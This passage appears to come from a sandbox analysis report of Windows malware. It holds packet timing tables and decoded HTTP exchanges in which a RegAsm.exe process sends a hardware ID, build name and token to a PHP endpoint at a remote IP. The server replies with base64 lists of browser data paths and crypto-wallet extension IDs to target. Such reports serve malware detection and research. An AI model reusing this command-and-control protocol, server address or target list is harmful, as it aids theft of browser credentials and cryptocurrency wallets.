Sep 27, 2024 18:29:09.461061001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.461072922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.461083889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.461087942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.461095095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.461105108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.461132050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.554629087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.559500933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746638060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746670008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746692896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746711016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746723890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746731043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746738911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746754885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746753931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746794939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746838093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746848106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746864080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746879101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746893883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746895075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746915102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746926069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746941090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.746958971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.746990919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747065067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747080088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747096062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747111082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747112989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747126102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747140884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747145891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747158051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747181892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747205973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747214079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747229099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747260094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747289896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747325897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747339964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747354031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747369051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747375011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747394085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747394085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747411966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747428894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747431040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747445107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747461081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747467041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747503042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747586012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747602940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747617960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747625113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747632027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747636080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747639894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747648001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747656107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747709036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747812986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747828960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747843981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747862101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747896910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.747967958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.747993946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748008013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748017073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748023033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748038054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748050928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748059988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748076916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748089075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748090029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748107910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748110056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748122931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748137951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748148918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748152971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748171091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748183012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748188019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748208046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748239994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748267889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748307943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748392105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748405933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748420954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748434067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748437881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748450041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748462915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748465061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748481035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748497963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748498917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748523951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748531103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748545885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748563051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748579025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748580933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748606920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748625994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748713970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748759031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748765945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748780966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748816013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748842001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748857021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.748891115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.748907089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.918530941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.918576956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.069511890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.069530010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.263377905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.263499022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.312014103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.317187071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.816220999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.816242933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.816255093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:10.816493034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.816493034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.819216013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:10.824091911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.013259888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.013520002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.021774054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.026608944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.267360926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.267577887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.270138979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.274941921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.485166073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.485239983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.486610889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:11.491483927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.700093031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:11.700228930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:15.162566900 CEST	60865	80	192.168.2.4	194.87.29.53

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 18:29:18.748115063 CEST	53	50332	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

194.87.29.53

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	60865	194.87.29.53	80	7476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 18:28:59.756114006 CEST	87	OUT	GET / HTTP/1.1 Host: 194.87.29.53 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 18:29:00.401245117 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 18:29:00.421952009 CEST	412	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 194.87.29.53 Content-Length: 213 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 43 38 35 46 44 37 34 34 41 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6f 6c 65 68 5f 70 73 70 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="hwid"1C85FD744AAB69161091------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="build"oleh_psp------BAFBFCBGHDGCFHJJECAF--
Sep 27, 2024 18:29:00.933902979 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 67 77 4d 6a 6c 68 4d 6d 49 78 59 57 49 78 4d 44 63 79 59 6a 6b 30 5a 6d 51 77 4e 32 45 30 4e 54 67 32 5a 6a 51 34 4f 44 59 34 4f 47 4d 33 4d 54 67 79 59 7a 52 6a 4e 54 41 79 5a 6a 59 34 4f 54 41 33 4d 6d 51 35 4d 7a 68 6c 4d 6a 59 33 5a 44 46 6c 4e 7a 46 6c 5a 6d 45 79 4f 44 56 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTgwMjlhMmIxYWIxMDcyYjk0ZmQwN2E0NTg2ZjQ4ODY4OGM3MTgyYzRjNTAyZjY4OTA3MmQ5MzhlMjY3ZDFlNzFlZmEyODVhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 27, 2024 18:29:01.134071112 CEST	467	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCB Host: 194.87.29.53 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="message"browsers------AEGDBAFHJJDAKEBGCFCB--
Sep 27, 2024 18:29:01.329437017 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 27, 2024 18:29:01.329462051 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 27, 2024 18:29:01.331037045 CEST	466	OUT	POST /6f9307efa625dd18.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJ Host: 194.87.29.53 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 30 32 39 61 32 62 31 61 62 31 30 37 32 62 39 34 66 64 30 37 61 34 35 38 36 66 34 38 38 36 38 38 63 37 31 38 32 63 34 63 35 30 32 66 36 38 39 30 37 32 64 39 33 38 65 32 36 37 64 31 65 37 31 65 66 61 32 38 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"a8029a2b1ab1072b94fd07a4586f488688c7182c4c502f689072d938e267d1e71efa285a------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="message"plugins------KEHCGCGCFHIDBFHIIJKJ--
Sep 27, 2024 18:29:01.525324106 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 16:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFv